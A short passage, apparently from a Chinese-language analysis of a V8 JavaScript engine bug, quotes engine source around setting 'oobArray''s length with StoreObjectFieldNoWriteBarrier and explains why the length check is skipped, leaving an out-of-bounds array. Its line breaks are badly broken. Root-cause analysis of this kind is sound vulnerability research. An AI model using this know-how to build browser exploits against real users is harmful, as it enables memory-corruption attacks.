/
into the excess elements
and
/
or
shrink the backing store.
/
/
上面也有写到,length_msi是刚刚loop循环的时候叠加的index值,old_length是oobArray自身的length值,
0
<
8224
。
/
/
所以这个Goto是不会跳转的,如果不进行内存紧缩的话,会转去运行StoreObjectFieldNoWriteBarrier函数。
GotoIf(SmiLessThan(length_smi, old_length), &runtime);
/
/
将oobArray的length设置为length_smi
StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset,
length_smi);
Goto(&done);
}